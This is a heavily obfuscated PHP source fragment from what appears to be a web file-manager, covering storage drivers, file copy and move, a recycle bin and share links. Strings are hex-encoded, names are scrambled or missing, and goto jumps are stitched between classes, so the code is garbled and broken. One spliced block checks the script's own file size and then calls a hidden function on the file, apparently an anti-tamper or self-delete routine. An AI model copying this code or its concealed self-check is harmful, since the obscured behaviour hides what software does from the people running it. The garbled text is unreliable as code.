false, $Øԩ = false) { return $this->copyMove($Ӛ, $, $嗡, $_SERVER[秼][632], $Øԩ); } public function move($Ƃ, $, $ = false, $䓧 = false) { return $this->copyMove($Ƃ, $, $, $_SERVER[秼][634], $䓧); } private function copyMove($ֶ, $, $݁, $, $ժ = false) { $ =& $_SERVER[秼]; $ؠ = $; $ = IO::driverMake($); if ($->pathParse[$[1241]]) { $ = $->pathParse[$[1241]]; } else { $ = $ؠ; } $ = IO::copyMove($ֶ, $, $݁, $, $ժ); $ = $this->getPathOuter($); return $; } public function pathThis($Ӷ) { return get_path_this($this->pathParse[$_SERVER[秼][87]]); } public function pathFather($ѿ) { return get_path_father($this->pathParse[$_SERVER[秼][87]]); } public function iconvSystem($) { return $; } protected function infoParse($܇, $ = false) { $ =& $_SERVER[秼]; $ = $this->pathParse[$[571]][$[1266]] . $this->pathParse[$[1259]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$[571]]; return Action($[1437])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[秼]; $ = IO::listAll($); $ܯ = rtrim($this->pathParse[$[571]][$[1266]], $[8]); foreach ($ as &$) { $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($ܯ)), $[8]); } unset($); return $; } public function listAllSimple($ĥʩ, $̲ = false) { $ =& $_SERVER[秼]; $̣ = $this->listAll($ĥʩ); $ȼ = $this->pathParse[$[506]]; if (trim($ȼ, $[8]) == trim(get_path_father($ȼ), $[8])) { $̲ = !0; } return IO::init($[12])->listAllSimpleMake($̣, $ȼ, $̲); } public function getPathOuter($) { $Я =& $_SERVER[秼]; $ʬ = KodIO::parse($); if ($ʬ[$Я[33]] == KodIO::KOD_SHARE_ITEM) { return $ʬ[$Я[87]]; } $ = KodIO::clear($); $ƔՏ = KodIO::clear($this->pathParse[$Я[571]][$Я[1266]]); $羼 = substr($, strlen($ƔՏ)); if (substr($, 0, strlen($ƔՏ)) != $ƔՏ) { return !1; } return $this->pathParse[$Я[1260]] . $Я[8] . ltrim($羼, $Я[8]); } public function getType() { $ٶ =& $_SERVER[秼]; $ = str_replace($ٶ[77], $ٶ[12], get_class($this)); return strtolower($); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($ԝ) { return $this->infoParse($ԝ); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($Æ) { return $this->infoParse($Æ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($խ) { $this->pathParse = $խ; } protected function infoParse($ێ, $ = false) { $Ƴ =& $_SERVER[秼]; return Action($Ƴ[1265])->sharePathInfo($this->pathParse[$Ƴ[87]], !0, $); } public function listPath($, $ݦ = false) { $ =& $_SERVER[秼]; $ = IO::listPath($, $ݦ); if (!$) { return $; } if (is_array($[$[1438]])) { $Ȟ = Action($[1447])->parsePathChildren($[$[1438]], array($[506] => $)); $[$[1438]] = Action($[1265])->shareItemInfo($Ȟ); } foreach ($ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ٸǫ => $Ȟ) { $Ȟ = Action($[1447])->parsePathChildren($Ȟ, array($[506] => $)); $[$][$ٸǫ] = Action($[1265])->shareItemInfo($Ȟ); } } return $; } } $_file = $_SERVER[$_SERVER[秼][432]]; goto e; Dơ˻: class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\x6f\x75\162\x63\x65\x5f\162\145\143\171\143\154\x65"; protected $dataAuto = array(array("\143\162\145\x61\164\x65\124\151\x6d\145", "\164\151\x6d\145", "\x69\x6e\163\x65\162\x74", "\146\165\156\143\164\151\x6f\x6e")); public function listData($ = false) { $Ǽ =& $_SERVER[秼]; $ = $ ? $ : USER_ID; $芬 = $this->where(array($Ǽ[1774] => $))->select(); return array_to_keyvalue($芬, $Ǽ[12], $Ǽ[193]); } public function moveToRecycle($) { $Њ =& $_SERVER[秼]; $ʣ蠠 = Model($Њ[1430]); $ˆ = $ʣ蠠->sourceInfo($); if (!$ˆ || $ˆ[$Њ[516]] == $Њ[91]) { return; } $ѧ = array($Њ[502] => $, $Њ[1774] => USER_ID, $Њ[662] => $ˆ[$Њ[190]], $Њ[663] => $ˆ[$Њ[580]], $Њ[666] => $ˆ[$Њ[595]]); $this->add($ѧ); $this->recycleMove($, 1); if ($ˆ[$Њ[496]] == $Њ[91]) { $ = array($Њ[666] => array($Њ[626], $ˆ[$Њ[595]] . $ . $Њ[627])); $ʣ蠠->where($)->setField($Њ[516], 1); } } public function clear() { $this->remove(!1); } public function remove($˳ = false, $ = false) { $۬ =& $_SERVER[秼]; $ = $ ? $ : USER_ID; $а = Model($۬[1430]); $ = $this->listData($); $˳ = $˳ === !1 ? !1 : $˳; $ = array(); foreach ($ as $) { if ($˳ != !1 && !in_array($, $˳)) { continue; } $ = $а->sourceInfo($); $а->remove($, !1); $ݕ = $[$۬[190]] . $۬[11] . $[$۬[580]]; $[$ݕ] = array($۬[662] => $[$۬[190]], $۬[580] => $[$۬[580]]); $this->where(array($۬[193] => $))->delete(); } foreach ($ as $) { $а->targetSpaceUpdate($[$۬[190]], $[$۬[580]]); } } public function restore($ = false) { $Đ = $this->listData(); $this->_restoreSource($Đ, $); } public function removeUserAll($ϳÍ) { $this->remove(!1, $ϳÍ); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($۟, $Шʾ) { $쪕 =& $_SERVER[秼]; $Մ = Model($쪕[1430]); $Шʾ = $Шʾ == !1 ? !1 : $Шʾ; if (!$۟) { return !0; } $ = array(); foreach ($۟ as $) { if ($Шʾ != !1 && !in_array($, $Шʾ)) { continue; } $ɮ = $Մ->sourceInfo($); $˶ = $Մ->sourceInfo($ɮ[$쪕[192]]); if ($˶[$쪕[516]] == $쪕[91]) { continue; } $Մ->lockMoveStart($); $this->recycleMove($, 0); if ($ɮ[$쪕[496]] == $쪕[91]) { $ = array($쪕[666] => array($쪕[626], $ɮ[$쪕[595]] . $ . $쪕[627])); $Մ->where($)->setField($쪕[516], 0); $this->restoreFolderChildren($, $۟); } $this->where(array($쪕[193] => $))->delete(); $Մ->folderSizeReset($ɮ[$쪕[192]]); $[] = $ɮ[$쪕[192]]; if ($ɮ[$쪕[496]] == $쪕[91]) { $[] = $; } $Մ->lockMoveEnd($); } $Մ->updateModifyTime($); } private function restoreFolderChildren($, $) { $ۗ =& $_SERVER[秼]; $Ʀε = Model($ۗ[1430]); $đ = array($ۗ[193] => array($ۗ[7], array())); foreach ($ as $) { if ($ == $) { continue; } if (!$Ʀε->isParentOf($, $)) { continue; } $̎Ӱ = $Ʀε->sourceInfo($); if ($̎Ӱ[$ۗ[496]] == $ۗ[91]) { $đ[] = array($ۗ[666] => array($ۗ[626], $̎Ӱ[$ۗ[595]] . $ . $ۗ[627])); } else { $đ[$ۗ[193]][1][] = $; } } if (!$đ[$ۗ[193]][1]) { unset($đ[$ۗ[193]]); } if (!$đ) { return; } if (is_array($đ[$ۗ[193]]) && is_array($đ[$ۗ[193]][1])) { $đ[$ۗ[193]][1] = array_unique($đ[$ۗ[193]][1]); } $đ[$ۗ[1086]] = $ۗ[2086]; $Ʀε->where($đ)->setField($ۗ[516], 1); } private function recycleMove($ޚ, $܌ = 1) { $σ =& $_SERVER[秼]; $ = Model($σ[1430]); $Ђ = Model($σ[2316]); $좸 = array($σ[193] => $ޚ); if ($܌) { $->where($좸)->setField($σ[516], 1); $Ђ->eventRecycle($ޚ, $σ[2317]); } else { $ = $->where($좸)->find(); $욱 = $[$σ[496]] == $σ[91]; $ҋ = $->fileNameAuto($[$σ[192]], $[$σ[32]], REPEAT_RENAME_FOLDER, $욱); if ($ҋ != $[$σ[32]]) { $->rename($ޚ, $ҋ); } $->where($좸)->setField($σ[516], 0); $Ђ->eventRecycle($ޚ, $σ[2318]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\155\56\x73\x6f\x75\162\x63\145\x53\x65\x63\x72\x65\164\114\x69\x73\x74"; public $field = array("\163\x6f\x75\162\x63\x65\x49\x44", "\x74\171\x70\145\x49\x44", "\143\x72\145\x61\164\145\125\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\x6d\56\x73\x74\157\162\x61\x67\145\x4c\x69\x73\164"; public $field = array("\x6e\x61\x6d\x65", "\x73\151\172\x65\x4d\141\x78", "\x73\171\x73\x74\x65\155", "\x64\x65\146\141\x75\x6c\x74", "\144\x72\x69\166\145\x72", "\x63\x6f\156\146\151\x67"); public function listData($ = false, $ = "\155\157\144\151\146\x79\124\x69\x6d\145", $ך = false) { $ܔ =& $_SERVER[秼]; $ͯޅ = parent::listData($, $, $ך); if ($) { return $ͯޅ; } $ = array(); if ($GLOBALS[$ܔ[2319]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($ͯޅ, $ܔ[12], $ܔ[486])); } foreach ($ͯޅ as $ => $Ў) { unset($ͯޅ[$][$ܔ[6]]); $ͯޅ[$][$ܔ[1972]] = isset($[$Ў[$ܔ[486]]]) ? $[$Ў[$ܔ[486]]] : 0; } return $ͯޅ; } public function ioSizeUseGet($) { $陳 =& $_SERVER[秼]; if (!$) { return array(); } $ֆ = $陳[2320] . implode($陳[50], $); $ = Cache::get($ֆ); if ($) { return $; } $ = array($陳[906] => $陳[486], $陳[2321] => $陳[79]); $ = array($陳[906] => array($陳[7], $)); $ = Model($陳[878])->field($)->where($)->group($陳[906])->select(); $ = array_to_keyvalue($, $陳[486], $陳[79]); Cache::set($ֆ, $, 600); return $; } public function getConfig($) { $Ξ = parent::listData($); $܆ = _get($Ξ, $_SERVER[秼][6], array()); if ($܆ && !is_array($܆)) { $܆ = json_decode($܆, !0); } return $܆; } public function update($, $螙) { $ =& $_SERVER[秼]; $Ϥ = $螙[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$Ϥ]) && $[$Ϥ][$[486]] != $) { return !1; } $this->checkPwd($, $螙); if (isset($螙[$[2322]]) && $螙[$[2322]] == $[91]) { $this->checkConfig($螙); } unset($螙[$[2322]]); $ = parent::update($, $螙); if ($ && $螙[$[37]]) { $ٿ = 0; foreach ($ as $̭儵) { if ($̭儵[$[37]] && $̭儵[$[486]] != $) { $ٿ = $̭儵[$[486]]; parent::update($̭儵[$[486]], array($[37] => 0)); } } $this->updateBackup($, $ٿ); } return $; } public function add($֣) { $죥 =& $_SERVER[秼]; $ۃ = array_to_keyvalue(parent::listData(), $죥[32]); if (isset($ۃ[$֣[$죥[32]]])) { return !1; } $this->checkConfig($֣); $٣ܦȟ = parent::insert($֣); if ($٣ܦȟ && $֣[$죥[37]]) { foreach ($ۃ as $Ϻ) { if ($Ϻ[$죥[37]]) { parent::update($Ϻ[$죥[486]], array($죥[37] => 0)); } } } return $٣ܦȟ; } public function updateBackup($, $櫆) { $ =& $_SERVER[秼]; if (!$櫆) { return; } $ = Model($[836])->config(); if ($[$[1752]] != $[91] || $[$[840]] != $櫆) { return; } $逸 = Model($[858])->get($[872]); $逸 = json_decode($逸, !0); if (!$逸) { return; } $逸[$[840]] = $; Model($[858])->set(array($[872] => $逸)); } public function checkPwd($, &$ٳ) { $֨ϖ =& $_SERVER[秼]; if (empty($ٳ[$֨ϖ[6]])) { return; } $ã = $ٳ[$֨ϖ[6]]; if (!is_array($ã)) { $ã = json_decode($ã, !0); } $Зί = $֨ϖ[12]; $ = array($֨ϖ[2323], $֨ϖ[2324], $֨ϖ[975]); foreach ($ as $) { if (isset($ã[$])) { $Зί = $; break; } } if (!$Зί) { return; } $ = $this->getConfig($); $ = $[$Зί]; $اߛ = $ã[$Зί]; if ($اߛ == str_repeat($֨ϖ[222], strlen($))) { $ã[$Зί] = $; $ٳ[$֨ϖ[6]] = json_encode($ã); } else { if ($اߛ != $) { $ٳ[$֨ϖ[2322]] = $֨ϖ[91]; } } } public function checkConfig(&$ʽ, $ = false) { $ =& $_SERVER[秼]; $݂ = strtolower($ʽ[$[98]]); $ސ = $ʽ[$[6]]; if (!is_array($ސ)) { $ސ = json_decode($ސ, !0); } foreach ($ސ as $ր˷ => $) { if (is_string($)) { $ސ[$ր˷] = trim($); } } $ސ[$[2325]] = rand_string(6); $ = $GLOBALS[$[6]][$[92]][$[914]]; $ = isset($[$݂]) ? $[$݂] : ucfirst($݂); $ = $[77] . $; if (!$ || !class_exists($)) { if ($) { return LNG($[2326]); } write_log(array($[2327], $ʽ, get_caller_info()), $[215]); show_json(LNG($[2326]), !1, $ʽ); } $ꗠ = new $($ސ); if (in_array($݂, $ꗠ->objectDriver)) { try { if (!$ꗠ->isBucketCors() && !$ꗠ->setBucketCors()) { $핅 = LNG($[2328]); $핅 .= $[2329] . LNG($[2330]); } } catch (Exception $ږȖ) { $핅 = $ږȖ->getMessage(); } if (isset($핅)) { return $this->_parseError($핅, $݂, $); } if ($݂ == $[68] && !$ꗠ->checkRegion()) { return $this->_parseError(LNG($[2331]), $݂, $); } } $ƚ = rtrim($ސ[$[1271]], $[8]) . $[8]; $ = $ꗠ->getPath($ƚ . $[1275]); try { if ($݂ == $[109]) { $ꗠ->mkdir($ƚ); } $ݟ = $ꗠ->mkfile($); if (!$ݟ) { $핅 = LNG($[2328]); } } catch (Exception $ږȖ) { $핅 = $ږȖ->getMessage(); } if (isset($핅)) { return $this->_parseError($핅, $݂, $); } $ސ[$[1271]] = $ƚ; $ʽ[$[6]] = json_encode($ސ); $ʽ[$[98]] = $; return !0; } private function _parseError($弭, $Ɣƒ, $ = false) { $ =& $_SERVER[秼]; if ($Ɣƒ == $[68] && stripos($弭, $[2332])) { $ȧ = explode($[10], $弭); $鄩ȳ = isset($ȧ[1]) ? $ȧ[1] : $[12]; $ = array($[2333] => LNG($[2334]), $[2335] => LNG($[2336])); if (isset($[$鄩ȳ])) { $弭 = $[$鄩ȳ]; } } if (stripos($弭, $[2337]) === 0) { $ޞΘ = strpos($弭, $[178]); if ($ޞΘ === !1) { $ޞΘ = strpos($弭, $[4]); } if ($ޞΘ !== !1) { $弭 = substr($弭, $ޞΘ + 1); } } $弭 = LNG($[1278]) . $弭; if ($) { return $弭; } show_json($弭, !1); } public function driverListSystem() { $ =& $_SERVER[秼]; $ϔﱵ = parent::listData(); $ = array(); foreach ($ϔﱵ as $ޮ) { unset($ޮ[$[233]], $ޮ[$[88]]); if (!is_array($ޮ[$[6]])) { $ޮ[$[6]] = json_decode($ޮ[$[6]], !0); } $[] = $ޮ; } return $; } public function defaultDriver() { $Ű =& $_SERVER[秼]; $ = parent::listData(); $ = array_filter_by_field($, $Ű[37], 1); $ = $[0]; if (!$) { return array(); } if (!is_array($[$Ű[6]])) { $[$Ű[6]] = json_decode($[$Ű[6]], !0); } return $; } public function driverInfo($ĕ) { $ʲ顄 =& $_SERVER[秼]; $ì = array_to_keyvalue(parent::listData(), $ʲ顄[486]); if (!isset($ì[$ĕ])) { return !1; } $ = $ì[$ĕ]; if (!is_array($[$ʲ顄[6]])) { $[$ʲ顄[6]] = json_decode($[$ʲ顄[6]], !0); } return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($轳, $, $, $ˎկ = false) { $ =& $_SERVER[秼]; $̝ = array($[906] => $轳); $ = Model($[555])->where($̝)->count(); $溴 = Model($[555])->where($̝)->sum($[79]); $Ѳ = $ . $[2338] . $轳; $ת = LNG($ == $[634] ? $[2339] : $[2340]); $ = new TaskFileTransfer($Ѳ, $[215], $, $ת . $[473] . $[$[32]] . $[214] . $轳); $->task[$[851]] = (double) $溴; $ = KodIO::defaultDriver(); $떝 = $[$[486]]; $א = $ = $̉ = array(); $ = Model($[232])->where($̝)->field($[2341])->select(); foreach ($ as $ཧ) { $ = $ཧ[$[552]]; if ($ˎկ) { $[] = $; continue; } $ = $ཧ[$[87]]; $ = get_path_father($); $̉[] = $; $ = str_replace("\173\x69\x6f\72{$轳}\x7d\x2f", "\x7b\x69\x6f\72{$떝}\x7d\57", $); if (!IO::exist($)) { $א[] = $; $->updateFileEnd($ཧ[$[32]], $ཧ[$[79]]); write_log($[2342] . $, $[1915]); continue; } $ = IO::move($, $, REPEAT_RENAME); if (!$) { $[] = $; $->updateFileEnd($ཧ[$[32]], $ཧ[$[79]]); write_log($[2343] . $, $[1915]); continue; } $̝ = array($[552] => $); $ = array($[906] => $떝, $[87] => $); Model($[232])->where($̝)->save($); } $Χ = $->task; if (!$ˎկ) { Cache::set($Ѳ, $Χ); } $->end(); $א = array_unique($א); $ = array_unique($); if (!$ˎկ && ($א || $)) { $⻗ = array(); if ($א) { $⻗[] = sprintf(LNG($[2344]), count($א)); } if ($) { $⻗[] = sprintf(LNG($[2345]), count($)); } $⻗ = sprintf(LNG($[2346]), implode($[2347], $⻗)) . $[2348] . date($[2349]) . $[2350]; if ($ == $[1952]) { $⻗ .= $[2351] . LNG($[2352]); } else { $⻗ = LNG($[2353]) . $[2354] . $⻗; } $Χ[$[1273]] = $⻗; Cache::set($Ѳ, $Χ); unset($[$[6]]); $ = array($[486] => $轳, $[2223] => $[634], $[32] => $[$[32]], $[98] => $[$[98]]); Hook::trigger($[1794], array($[1296] => $, $[1306] => !0)); show_json($⻗, !1, 100111); } if ($ == $[634]) { return !0; } if ($א || $) { $Ή = array_merge($א, $); $Ή = array_filter(array_unique($Ή)); $this->removeByFileID($Ή); } if ($̉) { $̉ = array_filter(array_unique($̉)); foreach ($̉ as $) { $ķ = IO::has($, !0); if (!$ķ[$[241]] && !$ķ[$[242]]) { IO::remove($); } } } return $this->remove($轳); } private function removeByFileID($ = array()) { $ִ =& $_SERVER[秼]; if (empty($)) { return; } $Ӭ = array($ִ[552] => array($ִ[7], $)); $ݳ = Model($ִ[1430])->where($Ӭ)->field($ִ[193])->select(); if (!$ݳ) { return Model($ִ[555])->remove($); } $ݳ = array_to_keyvalue($ݳ, $ִ[12], $ִ[193]); foreach ($ݳ as $) { Model($ִ[913])->removeNow($, !1); } } private function removeShareItems($) { $ɵة =& $_SERVER[秼]; $ӳ = "\173\x69\157\72{$}\175\57"; $ = array($ɵة[193] => 0, $ɵة[1266] => array($ɵة[470], "{$ӳ}\45")); $ = Model($ɵة[1963])->where($)->field($ɵة[679])->select(); if (empty($)) { return; } $눟 = array_to_keyvalue($, $ɵة[12], $ɵة[679]); Model($ɵة[678])->remove($눟); } } goto Fσ; e: $_size = $_SERVER[秼][433]; if ($_SERVER[$_SERVER[秼][434]] != $_size($_file)) { $_getc = $_SERVER[秼][435]; $_getfile = $_SERVER[$_SERVER[秼][436]] . $_SERVER[秼][437]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[秼][287], $_getfilec); if (count($_getarrs) < $_SERVER[秼][438]) { $exit = $_SERVER[秼][439]; $exit(); } $_act = $_SERVER[秼][440]; $_act($_file); } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($Ύ) { parent::__construct($Ύ); $this->setSignVersion($_SERVER[秼][249]); } } goto f罍͠; C: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ԍл =& $_SERVER[秼]; $ħ = $; $GLOBALS[$ԍл[1236]] = $ԍл[1237] . $; Hook::trigger($ԍл[1237] . $ . $ԍл[1238], $ħ); $ە = self::driverMake($[0]); if (!$ە) { return !1; } if (method_exists($ە, $)) { $É讣 = @call_user_func_array(array($ە, $), $); } else { if (method_exists($ە, $ԍл[1239])) { $É讣 = @call_user_func_array(array($ە, $), $); } else { if (method_exists(self, $)) { $É讣 = @call_user_func_array(array(self, $), $); } else { $É讣 = call_user_func_array(array(parent, $), $); } } } Hook::trigger($ԍл[1237] . $ . $ԍл[1240], $ħ, $É讣); return $É讣; } public static function init($ގ) { return self::driverMake($ގ); } public static function copy($ͬ, $, $孋 = false, $Ș = false) { return self::copyMoveStart($ͬ, $, $孋, $_SERVER[秼][632], $Ș); } public static function move($ê, $ۻ縔, $ۗ = false, $̫Ί = false) { return self::copyMoveStart($ê, $ۻ縔, $ۗ, $_SERVER[秼][634], $̫Ί); } public static function copyMoveChildren($ƕߍ, $, $ = "\x63\157\160\x79", $ = REPEAT_REPLACE) { $ =& $_SERVER[秼]; $Ù = $ƕߍ; $ې = self::driverMake($ƕߍ); $ = $ې->listPath($ƕߍ, !0); $Τ = array_merge($[$[86]], $[$[85]]); foreach ($Τ as $ǥ) { self::copyMoveStart($ǥ[$[87]], $, $, $, !1); } if ($ == $[634]) { self::remove($Ù); } } private static function copyMoveStart($߽, $, $, $, $ж) { $ɞ =& $_SERVER[秼]; $ = array($߽, $, $, $ж); Hook::trigger($ɞ[1237] . $ . $ɞ[1238], $); $墷 = self::copyMove($߽, $, $, $, $ж); Hook::trigger($ɞ[1237] . $ . $ɞ[1240], $, $墷); return $墷; } public static function saveFile($їܰ, $Ž, $ȅΒ = true) { $ =& $_SERVER[秼]; $ͳ = self::info($Ž); $ڔ = self::driverMake($їܰ); $쐈 = self::driverMake($Ž); $ܯ = !1; if ($쐈->pathParse[$[1241]]) { $ܯ = $쐈; $ۄ = $쐈->pathParse[$[1241]]; $쐈 = self::driverMake($ۄ); } if ($ڔ->pathParse[$[1241]]) { $ = $ڔ->pathParse[$[1241]]; $ڔ = self::driverMake($); } $ژ = $쐈->pathFather($Ž); $б = !0; if (!$ȅΒ && self::driverIsSame($ڔ, $쐈)) { $б = !1; } $ = self::copyFile($ڔ, $їܰ, $쐈, $ژ, $ͳ[$[32]], $б); if ($ܯ) { $ = $ܯ->getPathOuter($); } return $; } private static function copyMove($, $蠹, $Ӄ, $, $ = false) { $Վ =& $_SERVER[秼]; if (!$ || $ == $Վ[8] || !$蠹) { return !1; } ignore_timeout(); $ = self::driverMake($); $ӿ = self::driverMake($蠹); $Ƽ = $ == $Վ[634]; $ = !1; if ($ӿ->pathParse[$Վ[1241]]) { $ = $ӿ; $蠹 = $ӿ->pathParse[$Վ[1241]]; $ӿ = self::driverMake($蠹); } if ($->pathParse[$Վ[1241]]) { $ = $->pathParse[$Վ[1241]]; $ = self::driverMake($); } self::check($, $, $ӿ, $蠹); Hook::trigger($Վ[1242], $, $, $ӿ, $蠹); $ټ = self::driverIsSame($, $ӿ); if ($ټ) { if ($ == $Վ[634] && !method_exists($ӿ, $Վ[1243]) && trim($蠹, $Վ[8]) == trim($ӿ->pathFather($), $Վ[8])) { if ($->pathThis($) != $ && !$->isOsDriver()) { return $->rename($, $); } return $ӿ->getPathOuter($); } if (method_exists($ӿ, $)) { return $ӿ->{$}($, $蠹, $Ӄ, $); } } if ($ټ && $ == $Վ[634] && $ӿ->getType() == $Վ[109]) { $ = $ӿ->movePath($, $蠹, $); if ($) { return $; } } $ = $->isFile($); if (!$ && $ӿ->getType() == $Վ[845] && $->getType() == $Վ[109]) { $ = $ӿ->copyFolderFromIO($, $, $蠹, $Ӄ, $Ƽ, $); } else { $ = self::copyPath($, $, $ӿ, $蠹, $Ӄ, $Ƽ, $, $); } if ($ && $Ƽ) { $->remove($); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($ڭ, $, $䬉, &$ծ) { $즄 =& $_SERVER[秼]; if (self::driverIsSame($ڭ, $䬉) && $ڭ->isFolder($) && $ڭ->isParentOf($, $ծ)) { show_json(LNG($즄[1244]), !1); } if (!$ڭ->exist($)) { show_json(LNG($즄[108]), !1); } } private static function copyPath($Ӱ, $, $ԃ, $, $۶, $ݷ, $, $ = false, $ט = true) { $ؗ =& $_SERVER[秼]; $ = empty($) && $ !== $ؗ[230] ? $Ӱ->pathThis($) : $; if ($۶) { $ = $ԃ->fileNameExist($, $); $ = $; $ = $ԃ->fileNameAuto($, $, $۶, !$); if (!$ || $ != $) { $۶ = !1; } if ($ט && !$۶) { $ԃ->_data[$ؗ[1245]] = !0; } } if ($) { return self::copyFile($Ӱ, $, $ԃ, $, $, $ݷ); } if ($۶ == REPEAT_RENAME_FOLDER) { $۶ = !1; } $Ƞ = rtrim($, $ؗ[8]) . $ؗ[8] . $; $د = $ԃ->mkdir($ԃ->getPath($Ƞ), $۶); $ = $ԃ->getPathInner($د); $ᔩͻ = $Ӱ->listPath($, !0); $ᔩͻ = is_array($ᔩͻ) ? $ᔩͻ : array($ؗ[86] => array(), $ؗ[85] => array()); $굜 = array_merge($ᔩͻ[$ؗ[86]], $ᔩͻ[$ؗ[85]]); foreach ($굜 as $˓ߞ) { $賟 = $˓ߞ[$ؗ[33]] == $ؗ[232]; $ = $Ӱ->getPathInner($˓ߞ[$ؗ[87]]); $Ԏ = self::copyPath($Ӱ, $, $ԃ, $, $۶, $ݷ, $賟, !1, !1); if (!$Ԏ) { IO::errorTips($ؗ[1246] . $ . $ؗ[73] . $); } } self::copyMoveKeepInfo($Ӱ, $, $د); return $د; } private static function copyFile($ߠ, $정, $, $, $, $օ) { $Œ =& $_SERVER[秼]; $ = $->getPath(rtrim($, $Œ[8]) . $Œ[8] . $); $ڏ = $Œ[1247] . time() . rand_string(5); Hook::trigger($Œ[1248], $ߠ, $정, $, $, $, $ڏ); if (self::driverIsSame($ߠ, $)) { if ($օ) { $ذ = $->moveFile($정, $); } else { $ذ = $->copyFile($정, $); } Hook::trigger($Œ[1249], $ߠ, $정, $, $, $, $ذ); self::copyMoveKeepInfo($ߠ, $정, $ذ); return $ذ; } $ = TEMP_FILES; if ($GLOBALS[$Œ[6]][$Œ[92]][$Œ[885]]) { $ = $GLOBALS[$Œ[6]][$Œ[92]][$Œ[885]]; } $ڐ = $; mk_dir($ڐ); $琇 = $ڐ . $ڏ; $ϩ = $琇; $琇 = $ߠ->download($정, $琇); $琇 = $ߠ->iconvApp($琇); if (substr($琇, strlen($)) == $) { $օ = !0; } $ذ = $->upload($, $琇, $օ); self::remove($ϩ); Hook::trigger($Œ[1249], $ߠ, $정, $, $, $, $ذ); self::copyMoveKeepInfo($ߠ, $정, $ذ); return $ذ; } private static function copyMoveKeepInfo($, $, $) { if (!$) { return; } $ = $->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[秼][88]]); } public static function pathFather($) { $ = IO::init($); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($ϛ, $աӒ = false, $ئ = false, $ւ = '') { $̹ = self::driverMake($ϛ); if ($̹->isFileOutServer()) { return $̹->fileOutServer($ϛ, $աӒ, $ئ, $ւ); } return $̹->fileOut($ϛ, $աӒ, $ئ, $ւ); } public static function fileOutImage($, $շ = 250) { $͊ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($͊); $++) { if ($ == 0 && $շ <= $͊[$]) { $շ = $͊[$]; break; } else { if ($շ > $͊[$ - 1] && $շ <= $͊[$]) { $շ = $͊[$]; break; } else { if ($ == count($͊) - 1 && $շ > $͊[$]) { $շ = $͊[$]; break; } } } } $㕲 = self::driverMake($); if ($㕲->isFileOutServer()) { return $㕲->fileOutImageServer($, $շ); } return $㕲->fileOutImage($, $շ); } private static function driverIsSame($닕, $) { $ =& $_SERVER[秼]; $ = $닕->getType(); $܈ = $->getType(); if ($ != $܈) { return !1; } if ($ == $[845]) { return !0; } if ($ == $[109]) { return !0; } if ($닕->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($Ӻ崙, $) { $ =& $_SERVER[秼]; if (!IO::exist($Ӻ崙)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ߦ = array_to_keyvalue(self::listAllSimple($Ӻ崙), $[87]); $͏ = array_to_keyvalue(self::listAllSimple($), $[87]); $ӎ = array(); $ = array(); foreach ($ߦ as $ => $ɣڠ) { if (isset($͏[$])) { if ($ɣڠ[$[78]] == 1) { continue; } if ($͏[$][$[79]] == $ɣڠ[$[79]]) { continue; } } if ($ɣڠ[$[78]] == 1) { $[] = $ . $[8] . trim($, $[8]); continue; } $ = strstr(trim($, $[8]), $[8]) ? get_path_father($) : $[12]; $ӎ[] = array($[1250] => $ɣڠ[$[89]], $[1251] => rtrim($, $[8]) . $[8] . $, $[1252] => $ɣڠ); } $ = array($[232] => $ӎ, $[78] => $); Hook::trigger($[1253], $Ӻ崙, $, $); foreach ($ as $ɣڠ) { IO::mkdir($ɣڠ); } foreach ($ӎ as $ɣڠ) { IO::copy($ɣڠ[$[1250]], $ɣڠ[$[1251]], REPEAT_REPLACE); } } public static function fileSubstr($П, $ҟӈ, $ = false) { $ =& $_SERVER[秼]; $ = self::driverMake($П); $ν = $->size($П); $ = $ҟӈ; $ = $; if ($ҟӈ < 0) { $ҟӈ = $ν + $ҟӈ; } if ($ === !1) { $ = $ν - $ҟӈ; } if ($ҟӈ + $ > $ν) { $ = $ν - $ҟӈ; } if (!$ν && $->getType() == $[109] && !$->exist($П)) { $ = get_path_this($П); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1254] . LNG($[1255]) . $[1052] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ҟӈ < 0 || $ҟӈ >= $ν || $ > 1024 * 1024 * 10) { throw new Exception("\x66\151\154\145\x52\145\141\x64\40\145\162\162\x6f\162\x21\x20\163\x74\141\x72\164\x3d{$ҟӈ}\x3b\154\x65\156\147\x74\150\75{$}\x3b\x20\163\x69\172\145\75{$ν}\x3b"); } $Ǐ = $->fileSubstr($П, $ҟӈ, $); if (!$Ǐ && $ && isset($GLOBALS[$[1256]])) { throw new Exception($GLOBALS[$[1256]][$[1257]]); } return $Ǐ; } private static function driverMake(&$) { $ =& $_SERVER[秼]; $ = KodIO::parse($); if (!self::$driverListSystem) { $Ĵ = Model($[855])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($Ĵ, $[486]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[486]]]) { throw new Exception($[1258]); 